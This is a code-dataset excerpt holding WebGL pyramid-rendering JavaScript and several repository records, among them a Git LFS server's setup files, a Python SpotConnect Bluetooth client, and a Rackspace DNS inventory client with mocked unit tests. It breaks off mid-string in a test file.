cyan\n];\n\nfunction configureTexture( image ) {\n texture = gl.createTexture();\n gl.bindTexture( gl.TEXTURE_2D, texture );\n gl.pixelStorei(gl.UNPACK_FLIP_Y_WEBGL, true);\n gl.texImage2D( gl.TEXTURE_2D, 0, gl.RGB,\n gl.RGB, gl.UNSIGNED_BYTE, image );\n gl.generateMipmap( gl.TEXTURE_2D );\n gl.texParameteri( gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER,\n gl.NEAREST_MIPMAP_LINEAR );\n gl.texParameteri( gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.NEAREST );\n\n gl.uniform1i(gl.getUniformLocation(program, \"texture\"), 0);\n}\n\nfunction colorCube()\n{\n pyramid(1, 2, 0)\n pyramid(0, 2, 3)\n pyramid(3, 4, 0)\n pyramid(4, 1, 0)\n pyramid(2, 1, 4, 3)\n}\n\nfunction pyramid(a, b, c, d)\n{\n if (d) {\n pointsArray.push(vertices[a]);\n colorsArray.push(vertexColors[a]);\n texCoordsArray.push(texCoord[1]);\n\n pointsArray.push(vertices[b]);\n colorsArray.push(vertexColors[a]);\n texCoordsArray.push(texCoord[0]);\n\n pointsArray.push(vertices[c]);\n colorsArray.push(vertexColors[a]);\n texCoordsArray.push(texCoord[3]);\n\n pointsArray.push(vertices[a]);\n colorsArray.push(vertexColors[a]);\n texCoordsArray.push(texCoord[1]);\n\n pointsArray.push(vertices[c]);\n colorsArray.push(vertexColors[a]);\n texCoordsArray.push(texCoord[3]);\n\n pointsArray.push(vertices[d]);\n colorsArray.push(vertexColors[a]);\n texCoordsArray.push(texCoord[2]);\n }\n else {\n pointsArray.push(vertices[a]);\n colorsArray.push(vertexColors[a]);\n texCoordsArray.push(texCoord[0]);\n\n pointsArray.push(vertices[b]);\n colorsArray.push(vertexColors[a]);\n texCoordsArray.push(texCoord[3]);\n\n pointsArray.push(vertices[c]);\n colorsArray.push(vertexColors[a]);\n texCoordsArray.push(texCoord[4]);\n }\n}\n\n\nwindow.onload = function init()\n{\n canvas = document.getElementById( \"gl-canvas\" );\n\n gl = WebGLUtils.setupWebGL( canvas );\n if ( !gl ) { alert( \"WebGL isn't available\" ); }\n\n gl.viewport( 0, 0, canvas.width, canvas.height );\n gl.clearColor( 1.0, 1.0, 1.0, 1.0 );\n\n gl.enable(gl.DEPTH_TEST);\n\n //\n // Load shaders and initialize attribute buffers\n //\n program = initShaders( gl, \"vertex-shader\", \"fragment-shader\" );\n gl.useProgram( program );\n\n colorCube();\n\n var cBuffer = gl.createBuffer();\n gl.bindBuffer( gl.ARRAY_BUFFER, cBuffer );\n gl.bufferData( gl.ARRAY_BUFFER, flatten(colorsArray), gl.STATIC_DRAW );\n\n var vColor = gl.getAttribLocation( program, \"vColor\" );\n gl.vertexAttribPointer( vColor, 4, gl.FLOAT, false, 0, 0 );\n gl.enableVertexAttribArray( vColor );\n\n var vBuffer = gl.createBuffer();\n gl.bindBuffer( gl.ARRAY_BUFFER, vBuffer );\n gl.bufferData( gl.ARRAY_BUFFER, flatten(pointsArray), gl.STATIC_DRAW );\n\n var vPosition = gl.getAttribLocation( program, \"vPosition\" );\n gl.vertexAttribPointer( vPosition, 4, gl.FLOAT, false, 0, 0 );\n gl.enableVertexAttribArray( vPosition );\n\n var tBuffer = gl.createBuffer();\n gl.bindBuffer( gl.ARRAY_BUFFER, tBuffer );\n gl.bufferData( gl.ARRAY_BUFFER, flatten(texCoordsArray), gl.STATIC_DRAW );\n\n var vTexCoord = gl.getAttribLocation( program, \"vTexCoord\" );\n gl.vertexAttribPointer( vTexCoord, 2, gl.FLOAT, false, 0, 0 );\n gl.enableVertexAttribArray( vTexCoord );\n\n var image = document.getElementById(\"texImage1\");\n configureTexture(image);\n\n document.getElementById(\"texImage1\").onclick = function() {\n configureTexture(document.getElementById(\"texImage1\"));\n };\n document.getElementById(\"texImage2\").onclick = function() {\n configureTexture(document.getElementById(\"texImage2\"));\n };\n document.getElementById(\"texImage3\").onclick = function() {\n configureTexture(document.getElementById(\"texImage3\"));\n };\n document.getElementById(\"texImage4\").onclick = function() {\n configureTexture(document.getElementById(\"texImage4\"));\n };\n document.getElementById(\"texImage5\").onclick = function() {\n configureTexture(document.getElementById(\"texImage5\"));\n };\n document.getElementById(\"texImage6\").onclick = function() {\n configureTexture(document.getElementById(\"texImage6\"));\n };\n\n thetaLoc = gl.getUniformLocation(program, \"theta\");\n\n //event listeners for buttons\n\n document.getElementById( \"xButton\" ).onclick = function () {\n axis = xAxis;\n };\n document.getElementById( \"yButton\" ).onclick = function () {\n axis = yAxis;\n };\n document.getElementById( \"zButton\" ).onclick = function () {\n axis = zAxis;\n };\n\n render();\n}\n\nvar render = function()\n{\n gl.clear( gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);\n\n theta[axis] += 2.0;\n gl.uniform3fv(thetaLoc, theta);\n\n gl.drawArrays( gl.TRIANGLES, 0, NumVertices );\n\n requestAnimFrame( render );\n}" } ]
77
invent-hub/giftless
https://github.com/invent-hub/giftless
695f0db2740d1566868b21de5cbf56d282e4afe5
14c3461884cadd11334de119ff04e2e682296e0d
0563640d05c1867a46cc282a6bae3a73d5a305d9
refs/heads/master
2023-07-02T07:58:31.262726
2021-08-12T14:10:52
2021-08-12T14:10:52
395,340,331
0
0
MIT
2021-08-12T14:08:57
2021-08-10T01:39:53
2021-08-08T05:58:34
null
[ { "alpha_fraction": 0.6205074191093445, "alphanum_fraction": 0.6490486264228821, "avg_line_length": 34.03703689575195, "blob_id": "2bc304413407ba59b742685b3c4cbeb7d654a11d", "content_id": "fb66f3295a77ac24bdfe3205b03c5a0192b720c9", "detected_licenses": [ "MIT", "LicenseRef-scancode-free-unknown", "LicenseRef-scancode-unknown-license-reference" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 946, "license_type": "permissive", "max_line_length": 155, "num_lines": 27, "path": "/setup.py", "repo_name": "invent-hub/giftless", "src_encoding": "UTF-8", "text": "from setuptools import find_packages, setup\n\nsetup(\n name='giftless',\n packages=find_packages(exclude='./tests'),\n version=open('VERSION').read(),\n description='A Git LFS Server implementation in Python with support for pluggable backends',\n author='Shahar Evron',\n author_email='[email protected]',\n long_description=open('README.md').read(),\n long_description_content_type='text/markdown',\n install_requires=[\n 'figcan',\n 'flask',\n 'flask-marshmallow',\n 'marshmallow-enum',\n 'pyyaml',\n 'PyJWT',\n 'webargs',\n 'python-dotenv',\n 'typing-extensions',\n # This is currently unsupported by pypi: pull unreleased version of Flask-classful directly from GitHub\n # 'flask-classful @ https://codeload.github.com/teracyhq/flask-classful/tar.gz/3bbab31705b4aa2903e7e62aa8c5ee70a1e6d789#egg=flask-classful-0.15.0',\n 'flask-classful',\n ],\n package_data={}\n)\n" }, { "alpha_fraction": 0.6497461795806885, "alphanum_fraction": 0.6548223495483398, "avg_line_length": 20.88888931274414, "blob_id": "33ee37bca69e7f184f359a89c45cdbb9d5ea878a", "content_id": "ffa325336853bf959e119e756c5411a0a26bb3b5", "detected_licenses": [ "MIT", "LicenseRef-scancode-free-unknown", "LicenseRef-scancode-unknown-license-reference" ], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 197, "license_type": "permissive", "max_line_length": 51, "num_lines": 9, "path": "/pytest.ini", "repo_name": "invent-hub/giftless", "src_encoding": "UTF-8", "text": "[pytest]\naddopts = --flake8 --isort --mypy --doctest-modules\n\nenv =\n D:AZURE_CONNECTION_STRING=\n D:AZURE_CONTAINER=\n D:GCP_BUCKET_NAME=\n D:GCP_PROJECT_NAME=\n D:GCP_ACCOUNT_KEY_FILE=\n" } ]
2
travisgoodspeed/pyspot
https://github.com/travisgoodspeed/pyspot
56a77ec7329b281c7bc4cbc4343c0da1bc62f9cf
91aa03633b8175f7e79020194f2aa1e6c1ab9fae
184baeabf914ebb631b4b035490ddcb8048034ed
refs/heads/master
2021-01-01T17:47:53.685120
2015-05-09T16:44:20
2015-05-09T16:44:20
2,763,890
10
1
null
2011-11-12T22:22:55
2015-05-02T17:56:56
2015-05-09T16:44:21
Python
[ { "alpha_fraction": 0.5387297868728638, "alphanum_fraction": 0.5710352659225464, "avg_line_length": 29.261110305786133, "blob_id": "916e9687143effa1f0f7a0f380797f05eda37bca", "content_id": "fa690294fdcecaafd7c93aad490e91c87f0cb933", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5448, "license_type": "no_license", "max_line_length": 88, "num_lines": 180, "path": "/pyspot", "repo_name": "travisgoodspeed/pyspot", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n# Quick an dirty SpotConnect client in Python for pybluez.\n# Written by Travis Goodspeed on--not for--the Nokia N900.\n# Extended by Richard Ulrich for tracking on ubuntu phone.\n\n# See Alexei Karpenko's article on reversing the SPOT.\n# http://natrium42.com/projects/spot/\n\n# This protocol is different from the STX2 one he documented, but the\n# principles are the same. The verbs are different, and checksums may\n# be freely omitted.\n\n# Verbs:\n# 0x01 -- Get 4-byte ID.\n# 0x10 -- Unknown. Used during startup.\n# 0x25 -- Get Coordinates.\n# 0x26 -- Send text message.\n# 0x40 -- Unknown.\n# 0x51 -- Start tracking mode.\n# 0x52 -- Unknown, probably a status update.\n\n\nimport bluetooth, sys, time, os;\n\nbtaddr=os.environ.get(\"SPOTCONNECT\");\n\nclass SpotConnect:\n def __init__(self, btaddr=None):\n while btaddr==None or btaddr==\"none\":\n print \"performing inquiry...\"\n print \"This only works when Bluetooth LED is solid and device is discoverable.\"\n print \"Please set $SPOTCONNECT to the MAC address to avoid the search.\"\n nearby_devices = bluetooth.discover_devices(lookup_names = True)\n print \"found %d devices\" % len(nearby_devices)\n for addr, name in nearby_devices:\n print \" %s - '%s'\" % (addr, name)\n if name=='Connect_466' or name=='Connect_603':\n btaddr=addr;\n print \"Identified modem at %s\" % btaddr;\n\n # Manually use the portnumber.\n port=1;\n \n print \"Connecting to %s on port %i.\" % (btaddr, port);\n connected=False;\n while connected==False:\n try:\n sock=bluetooth.BluetoothSocket(bluetooth.RFCOMM);\n self.sock=sock;\n sock.connect((btaddr,port));\n connected=True;\n except bluetooth.btcommon.BluetoothError:\n print \"Connection failed. Retrying.\";\n time.sleep(0.5);\n pass;\n \n \n print \"Connected to Device %i\" % self.getid();\n \n def close(self):\n \"\"\"Close the connection.\"\"\"\n print \"Disconnecting.\";\n self.sock.close();\n def checkin(self,string=\"OK\"):\n \"\"\"Sends a 42-byte text message to the server.\"\"\"\n packet=\"\\x26\\x01\\x00\\x01\\x00\\x01\"+string;\n packet=\"\\xaa\"+chr(len(packet)+2)+packet;\n print \"Transmitting coords and [%s]\" % string;\n self.tx(packet);\n while True:\n print \"Idling, if that's what 0x52 does.\";\n self.tx(\"\\xaa\\x03\\x52\");\n self.rx();\n def StartTracking(self):\n \"\"\"Enables tracking mode: \n The device sends the position to the server every 10 minutes.\"\"\"\n packet=\"\\xaa\\x04\\x51\\x0d\"\n print \"Enabling tracking mode\"\n self.tx(packet)\n verbose=1;\n def txstr(self,msg):\n \"\"\"Transmit normal ASCII. Useful for modem mode.\"\"\"\n print \"TXSTR: %s\" % msg;\n self.sock.send(msg);\n def rxstr(self):\n print \"Listening for input.\"\n data=self.sock.recv(1024);\n print \"RXSTR: %s\" % data;\n return data;\n def tx(self,msg,rx=True):\n \"\"\"Transmit a SpotConnect packet. SFD, Length, and Checksum will be added.\"\"\"\n \n if ord(msg[1])!=len(msg):\n print \"Length mismatch, 0x%02x!=len(%s).\" % (len(msg),msg);\n return None;\n \n self.sock.send(msg);\n if self.verbose: print \"Sent 0x%02x bytes: %s\" % (len(msg),hex(msg));\n if not rx: return None;\n return self.rx();\n def rx(self, longpacket=True):\n data=None;\n #Is there a reply?\n try:\n while data==None:\n data=self.sock.recv(1024);\n while len(data)<3:\n data=data+self.sock.recv(1024);\n try:\n if data[0:2]==\"\\x41\\x54\\x2b\":\n print \"Somehow we've got a Hayes shell.\"\n print data;\n sys.exit();\n except:\n pass;\n while len(data)<ord(data[1]) and longpacket:\n print \"Need more data, got 0x%02x=[%s]\" % (len(data),hex(data));\n data=data+self.sock.recv(1024);\n except IOError:\n print \"IOError.\";\n pass;\n if self.verbose: print \"Received [%s]\" % hex(data);\n return data;\n def getid(self):\n \"\"\"Get the 4-byte device ID.\"\"\"\n uid=0;\n b=self.tx(\"\\xaa\\x03\\x01\");\n for foo in range(3,7):\n uid=uid*256;\n uid=uid+ord(b[foo]);\n return uid;\n def getlatlong(self):\n \"\"\"Return the (lat,lon) pair as a float.\"\"\"\n data=self.tx(\"\\xaa\\x03\\x25\");\n if(len(data)!=0x0c):\n print \"Error in coord values.\";\n return (0,0);\n \n lat=0;\n lon=0;\n for foo in range(3,6):\n lat=lat*256;\n lat=lat+ord(data[foo]);\n for foo in range(6,9):\n lon=lon*256;\n lon=lon+ord(data[foo]);\n lat=lat*90.0/2**23;\n lon=lon*180.0/2**23;\n if lat>45: lat=lat-90;\n if lon>180: lon=lon-360;\n\n return (lat,lon);\ndef hex(str):\n \"\"\"Returns the hex decoded version of a byte string.\"\"\"\n toret=\"\";\n if str==None: return \"none\";\n for c in str:\n toret=\"%s %02x\" % (toret,ord(c));\n return toret;\n\n\nsc=SpotConnect(btaddr);\n\n\n(lat, lon) = sc.getlatlong();\nprint \"Last seen at %f, %f.\" % (lat,lon);\n\n#Set message.\n\n\nif len(sys.argv)>1:\n if sys.argv[1] == 'track':\n sc.StartTracking()\n else:\n sc.checkin(sys.argv[1]);\nelse:\n #sc.tx(\"\\xaa\\x31\\x26\\x01\\x00\\x01\\x00\\x01Mr. Watson, come here. I want to see you.\");\n print \"Try giving argv[1] to send a message.\";\n\nsc.close();\n\n" } ]
1
MaximSafonov1/database
https://github.com/MaximSafonov1/database
d0fc6b7a38e4a2b53f26c7c5eb4a38876ad41ccc
65aab38ee5e1d414f2180d3bb84383395ce30bc0
a50a08d70064ca4a1454e45708a025747f2f530f
refs/heads/main
2023-05-10T15:36:19.349381
2021-06-03T17:24:41
2021-06-03T17:24:41
373,587,533
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6861022114753723, "alphanum_fraction": 0.7212460041046143, "avg_line_length": 32.83783721923828, "blob_id": "33e9c5dcabbb0e380c20ac512039a29dc7a7a07f", "content_id": "ef067d675cfa5ad6c96343233a9ea16b28b50aae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1408, "license_type": "no_license", "max_line_length": 91, "num_lines": 37, "path": "/select.py", "repo_name": "MaximSafonov1/database", "src_encoding": "UTF-8", "text": "import sqlalchemy\n\nengine = sqlalchemy.create_engine('postgresql://postgres:password@localhost:5432/postgres')\n\nconnect = engine.connect()\n\n\nalbum_2018 = connect.execute(\"\"\"SELECT name, year_of_issue From album\nWHERE year_of_issue = 2018;\n\"\"\").fetchall()\nprint('Альбомы, вышедшие в 2018 году:', album_2018)\n\nmax_track = connect.execute(\"\"\"SELECT name, duration FROM track \nWHERE duration = (SELECT MAX(duration) FROM track );\n\"\"\").fetchall()\nprint('Самый длительный трек:', max_track)\n\ntracks3 = connect.execute(\"\"\"SELECT name FROM track \nWHERE duration >= 3\nORDER BY duration;\n\"\"\").fetchall()\nprint('Треки длиннее 3 минут:', tracks3)\n\ncollection_year = connect.execute(\"\"\"SELECT name FROM collection \nWHERE year_of_issue BETWEEN 2018 AND 2020;\n\"\"\").fetchall()\nprint('Сборники, вышедшие в период с 2018 по 2020 год:', collection_year)\n\nperformer_1word = connect.execute(\"\"\"SELECT name FROM performer \nWHERE LENGTH(TRIM(name))-LENGTH(REPLACE(TRIM(name), ' ', ''))=0;\n\"\"\").fetchall()\nprint('Исполнители, чье имя состоит из 1 слова', performer_1word)\n\ntrack_with_my = connect.execute(\"\"\"SELECT name FROM track \nWHERE name ILIKE '%%мой%%' OR name ILIKE '%%my%%';\n\"\"\").fetchall()\nprint('Название треков, которые содержат слово \"мой\"/\"my\":', track_with_my)\n" } ]
1
cadu-leite/dns_server_inventory
https://github.com/cadu-leite/dns_server_inventory
a131358cb4df1f5b814b865ca7d495b0af24d613
63f26dbe919c4a68784583d49ed79156e44b600c
895b6c61e26f7b4214a6664ad1a8e3691a95af68
refs/heads/master
2022-11-29T19:43:58.445620
2020-08-10T10:29:33
2020-08-10T10:29:33
286,324,506
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5909090638160706, "alphanum_fraction": 0.7727272510528564, "avg_line_length": 21.5, "blob_id": "8d30859bf8463da0584ff8d7ced5ecd149cc729c", "content_id": "111e720c760c57fb05794501177294f92f10dc79", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 44, "license_type": "no_license", "max_line_length": 27, "num_lines": 2, "path": "/requirements.txt", "repo_name": "cadu-leite/dns_server_inventory", "src_encoding": "UTF-8", "text": "requests==2.24.0\npython-digitalocean==1.15.0" }, { "alpha_fraction": 0.6078431606292725, "alphanum_fraction": 0.6078431606292725, "avg_line_length": 24.433332443237305, "blob_id": "24f6d986e5e0a41e86d42c3d066ab5f019d13fa6", "content_id": "f58cf09d9500035fa9c9587717fa341c15cd336c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 766, "license_type": "no_license", "max_line_length": 61, "num_lines": 30, "path": "/tests/tests_api_nomocks.py", "repo_name": "cadu-leite/dns_server_inventory", "src_encoding": "UTF-8", "text": "\nimport json\n\nimport unittest\n\n\nimport requests\n\nfrom rax_dns.rax_dns import RAXAccess\nfrom rax_dns.rax_dns import RAXDomains\n\n\nclass TestRealAccess(unittest.TestCase):\n '''\n before run , set env vars\n export RAXUserName='racksapce user'\n export RAXToken='racksapce API access token '\n '''\n @unittest.skip('access real api ...')\n def test_get_domains(self):\n '''\n intgration test , real access to the api.\n '''\n # print(f'TETE DE CONEXAO ')\n rax_access = RAXAccess()\n rax_access.auth()\n print(f'\\n>>>>> TENANT: {rax_access.tenant}<<<<<<<<')\n rax_doms = RAXDomains(rax_access)\n rax_doms.get_domains()\n # print(rax_doms.domains)\n self.assertTrue(True, 'teste de conexão')\n\n" }, { "alpha_fraction": 0.3978883922100067, "alphanum_fraction": 0.4802413284778595, "avg_line_length": 31.970149993896484, "blob_id": "cfdb47261c90268bcc9cd98812920a3e9f623136", "content_id": "d37bd325c12f7db52f6289c18f9b8d6802bd1e10", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6630, "license_type": "no_license", "max_line_length": 100, "num_lines": 201, "path": "/tests/test_rax_dns.py", "repo_name": "cadu-leite/dns_server_inventory", "src_encoding": "UTF-8", "text": "\nimport json\n\nimport unittest\nfrom unittest.mock import patch\nfrom unittest.mock import Mock\n\nimport requests\n\nfrom rax_dns.rax_dns import RAXAccess\nfrom rax_dns.rax_dns import RAXDomains\n\n# json response expected for a googd identity request on raxapi\nJSON_IDENTITY_RESPONSE_OK = r'''\n{\n \"access\": {\n \"serviceCatalog\": [\n {\n \"endpoints\": [\n {\n \"tenantId\": \"MossoCloudF\",\n \"publicURL\": \"https://cdn6.clouddrive.com/v1/MossoCloudFS\",\n \"region\": \"REG\"\n }\n ],\n \"name\": \"cloudFilesCDN\",\n \"type\": \"rax:object-cdn\"\n }\n ],\n \"user\": {\n \"RAX-AUTH:sessionInactivityTimeout\": \"PT12H\",\n \"RAX-AUTH:defaultRegion\": \"REG\",\n \"roles\": [\n {\n \"name\": \"checkmate\",\n \"description\": \"Checkmate Access role\",\n \"id\": \"10000150\"\n }\n ],\n \"RAX-AUTH:phonePin\": \"7777777\",\n \"name\": \"usernameapi\",\n \"id\": \"999999\",\n \"RAX-AUTH:domainId\": \"88888890\",\n \"email\": \"[email protected]\",\n \"RAX-AUTH:phonePinState\": \"ACTIVE\"\n },\n \"token\": {\n \"expires\": \"2020-01-04T11:01:01.001Z\",\n \"RAX-AUTH:issued\": \"2020-01-03T18:46:51.436Z\",\n \"RAX-AUTH:authenticatedBy\": [\n \"APIKEY\"\n ],\n \"id\": \"lettersSoup123123123_lettersSoup123123123_\",\n \"tenant\": {\n \"name\": \"88888890\",\n \"id\": \"88888890\"\n }\n }\n }\n}\n'''\n\n\nclass TestRAXAccess(unittest.TestCase):\n\n def setUp(self):\n self.patch_request_get = patch('requests.get')\n self.MockedRequest_get = self.patch_request_get.start()\n\n self.patch_request_post = patch('requests.post')\n self.MockedRequest_post = self.patch_request_post.start()\n\n def tearDown(self):\n # sem o STOP os tests reais de acesso a API FAIL !\n self.patch_request_get.stop()\n self.patch_request_post.stop()\n\n def test_obj_access_created(self):\n rax = RAXAccess('raxaccesstoken', 'token')\n self.assertTrue(True)\n\n def test_params(self):\n rax = RAXAccess('raxaccesstoken', 'token')\n rax.auth()\n requests.post.assert_called()\n requests.post.stop()\n\n def test_login(self):\n self.MockedRequest_post.return_value = Mock(status_code=200, text=JSON_IDENTITY_RESPONSE_OK)\n\n rax = RAXAccess('username', 'token')\n auth_username = rax.auth()\n\n self.assertEqual(auth_username, 'usernameapi')\n\n def test_login_unauthorized(self):\n response_unauthorized = '{\"unauthorized\": \\\n {\"code\": 401, \\\n \"message\": \"Error code\": \"AUTH-008; \\\n Username or api key is invalid.\"}}'\n\n self.MockedRequest_get.return_value = Mock(\n status_code=401, text=response_unauthorized)\n rax = RAXAccess('username', 'token')\n auth_username = rax.auth()\n\n self.assertEqual(auth_username, None)\n\n\nclass TestDomains(unittest.TestCase):\n\n def setUp(self):\n self.patch_request_get = patch('requests.get')\n self.MockedRequest_get = self.patch_request_get.start()\n\n def tearDown(self):\n self.patch_request_get.stop()\n\n def test_simple_raxdomains(self):\n raxaccess = RAXAccess('raxaccesstoken', 'token')\n raxdom = RAXDomains(raxaccess)\n\n self.MockedRequest_get.return_value = Mock(\n status_code=200,\n text='{\"totalEntries\":2,\\\n \"domains\":[{\"ttl\":300,\\\n \"accountId\":999999,\\\n \"id\":8888888,\\\n \"name\":\"noorg.com\",\\\n \"emailAddress\":\"[email protected]\",\\\n \"updated\":\"2020-07-22T19:47:55.000+0000\",\\\n \"created\":\"2001-01-10T19:07:06.000+0000\"},\\\n {\"ttl\":300,\\\n \"accountId\":999999,\\\n \"id\":9999999,\\\n \"name\":\"noorg.org\",\\\n \"emailAddress\":\"[email protected]\",\\\n \"updated\":\"2012-08-10T19:07:09.000+0000\",\\\n \"created\":\"2002-01-10T10:07:09.000+0000\"}]}')\n\n raxdom.get_domains()\n self.assertEqual(len(raxdom.domains), 2)\n\n def test_json_load(self):\n j = '{\"totalEntries\":2,\\\n \"domains\":[{\"ttl\":300,\"accountId\":999999,\"id\":8888888,\\\n \"name\":\"noorg.com\",\"emailAddress\":\"[email protected]\",\\\n \"updated\":\"2020-07-22T19:47:55.000+0000\",\\\n \"created\":\"2001-01-10T19:07:06.000+0000\"},\\\n {\"ttl\":300,\"accountId\":999999,\"id\":9999999,\\\n \"name\":\"noorg.org\",\"emailAddress\":\"[email protected]\",\\\n \"updated\":\"2012-08-10T19:07:09.000+0000\",\\\n \"created\":\"2002-01-10T10:07:09.000+0000\"}]}'\n jt = json.loads(j)['domains']\n self.assertEqual(len(jt), 2)\n\n def test_get_records_dumps_json(self):\n self.MockedRequest_get.return_value = Mock(\n status_code=200,\n text='{\\\n \"recordsList\": {\\\n \"totalEntries\": 2,\\\n \"records\": [\\\n {\\\n \"id\": \"A-999999999\",\\\n \"name\": \"dom.com\",\\\n \"type\": \"A\",\\\n \"data\": \"99.999.999.999\",\\\n \"ttl\": 300,\\\n \"updated\": \"2000-01-01T01:01:29.000+0000\",\\\n \"created\": \"2000-01-01T01:01:19.000+0000\"\\\n },\\\n {\\\n \"id\": \"A-999999998\",\\\n \"name\": \"xxx.dom.com\",\\\n \"type\": \"A\",\\\n \"data\": \"999.999.99.999\",\\\n \"ttl\": 300,\\\n \"updated\": \"2000-01-01T01:01:19.000+0000\",\\\n \"created\": \"2000-01-01T01:01:19.000+0000\"\\\n }\\\n ]\\\n },\\\n \"ttl\": 300,\\\n \"nameservers\": [\\\n {\\\n \"name\": \"dns1.dnsdomainagent.com\"\\\n },\\\n {\\\n \"name\": \"dns2.dnsdomainagent.com\"\\\n }\\\n ],\\\n \"accountId\": 111111,\\\n \"id\": 222222,\\\n \"name\": \"necto.com.br\",\\\n \"emailAddress\": \"[email protected].\",\\\n \"updated\": \"2001-01-01T01:01:21.000+0000\",\\\n \"created\": \"2001-01-01T01:01:22.000+0000\"\\\n }')\n raxaccess = RAXAccess('raxaccesstoken', 'token')\n raxdom = RAXDomains(raxaccess)\n self.assertEqual(len(raxdom.get_records()), 2)\n\n\n" }, { "alpha_fraction": 0.4736842215061188, "alphanum_fraction": 0.7368420958518982, "avg_line_length": 18, "blob_id": "98a8566115c8351ecb40930eec49645284f3cd72", "content_id": "433245f3dc4c476b832561b855241feb07ca926c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 19, "license_type": "no_license", "max_line_length": 18, "num_lines": 1, "path": "/requirements_test.txt", "repo_name": "cadu-leite/dns_server_inventory", "src_encoding": "UTF-8", "text": "\nresponses==0.10.15" }, { "alpha_fraction": 0.5971612930297852, "alphanum_fraction": 0.6067096590995789, "avg_line_length": 34.227272033691406, "blob_id": "736f84f472d26b2f5c7d5bd02b103fd264419e22", "content_id": "f95e3829d0150a836aa2e3d5f75e63b1c8f9b940", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3875, "license_type": "no_license", "max_line_length": 313, "num_lines": 110, "path": "/get_dns.py", "repo_name": "cadu-leite/dns_server_inventory", "src_encoding": "UTF-8", "text": "'''\nSetup the enviroment variables\n.. code:bash\n\n $> export RACKSPACETOKEN=\"<rackspace_token>\"\n $> export RACKSPACEUSER=\"<rackspace_username>\"\n\n'''\n\nfrom collections import namedtuple\nimport json\nimport os\nfrom typing import Dict\n\nimport requests\n\n# Source: https://en.wikipedia.org/wiki/List_of_DNS_record_types\nDNS_REC_TYPE = [\n ('A', '32/IPV4 128/Ipv6 IP '),\n ('CNAME', 'Alias to another name '),\n ('MX', 'Map domain to tranfers list '),\n ('NS', 'Delegates a DNS zone to use the given authoritative name servers'),\n ('SRV', 'Generalized (ex.: mx) service location record unkown protocols'),\n ('TXT', 'Originally for arbitrary human-readable text in a DNS record, machine data ...'),\n]\n\n\nclass RackSpaceAccess(object):\n\n def __init__(self, rackspaceusername=None, rackspaceapitoken=None):\n\n # params takes precedence over enviroment vars\n if not rackspaceusername:\n self.racksp_username = os.getenv('RACKSPACEUSER')\n else:\n self.racksp_username = rackspaceusername\n\n if not rackspaceusername:\n self.racksp_api_token = os.getenv('RACKSPACETOKEN')\n else:\n self.racksp_api_token = rackspaceapitoken\n\n if self.racksp_username is None:\n raise OSError(\"Username environment is not set.\")\n\n if self.racksp_api_token is None:\n raise OSError(\"Username environment is not set.\")\n\n def _json_object_hook(self, d: Dict):\n return namedtuple('X', d.keys(), rename=True)(*d.values())\n\n def json2obj(self, data_json):\n return json.loads(data_json, object_hook=self._json_object_hook)\n\n def _login_(self):\n '''\n returns an object representing the json response for RAX api identify\n\n Returns:\n obj:\n Main attributes\n # obj.ok boolean\n # obj.reason str\n # obj.status_code 200\n # obj.access.token.id\n # obj.access.token.expires\n # obj.access.token.tenant.id\n # obj.access.token.tenant.name\n # obj.access.user.email\n # obj.access.user.id\n # obj.access.user.name\n '''\n req_token_url = r'https://identity.api.rackspacecloud.com/v2.0/tokens'\n req_token_headers = {\"content-type\": \"application/json\"}\n req_token_payload = {\n \"auth\": {\n \"RAX-KSKEY:apiKeyCredentials\": {\n \"username\": self.racksp_username,\n \"apiKey\": self.racksp_api_token\n }\n }\n }\n data = requests.post(req_token_url, data=json.dumps(req_token_payload), headers=req_token_headers)\n obj = self.json2obj(data.text)\n return (obj)\n\n\nclass RAXDomains():\n\n def __init__(self, identity_object):\n self.token_id = identity_object.access.token.id\n self.tenant_id = identity_object.access.token.tenant.id\n self.domn_id = None\n self.rax_api_baseurl = 'https://dns.api.rackspacecloud.com/v1.0'\n self.rax_url_dmn = f'{self.rax_api_baseurl}/{self.tenant_id}/domains/'\n self.rax_url_rcs = f'{self.rax_url_dmn}{self.domn_id}' # records\n\n def get_domains(self, domn_ids=None):\n headers = {\n 'content-type': 'application/json',\n 'X-Auth-Token': self.token_id, # token\n 'X-Project-Id': self.tenant_id\n }\n url = f'https://{self.rax_api_baseurl}/{self.tenant_id}/domains'\n\n data = requests.get(url)\n\n return data\n\n# HTTPSConnectionPool(host='https', port=443): Max retries exceeded with url: //dns.api.rackspacecloud.com/v1.0/769012/domains (Caused by NewConnectionError('<urllib3.connection.HTTPSConnection object at 0x10d0720a0>: Failed to establish a new connection: [Errno 8] nodename nor servname provided, or not known'))\n" }, { "alpha_fraction": 0.6061093211174011, "alphanum_fraction": 0.61012864112854, "avg_line_length": 24.91666603088379, "blob_id": "e77ee143e9492f00a0c9b6e46ece5663c6557bd3", "content_id": "08a548ac86d95c52e7a41b36f58d6b40a676c161", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1244, "license_type": "no_license", "max_line_length": 84, "num_lines": 48, "path": "/tests/test_do_droplets.py", "repo_name": "cadu-leite/dns_server_inventory", "src_encoding": "UTF-8", "text": "import json\n\nimport os\n\nimport unittest\n\nimport tracemalloc\n\nimport sys\n\nfrom rax_dns.do_droplets import Droplets\n\n\nclass TestRAXAccess(unittest.TestCase):\n def teste_get_token_from_environment(self):\n DO_TOKEN = 'environment_token'\n os.environ['DO_ACCESS_TKN'] = DO_TOKEN\n do = Droplets()\n self.assertEqual(do.token, DO_TOKEN)\n\n def teste_get_token_from_param_precedes_env(self):\n DO_TOKEN = 'environment_token'\n os.environ['DO_ACCESS_TKN'] = DO_TOKEN + 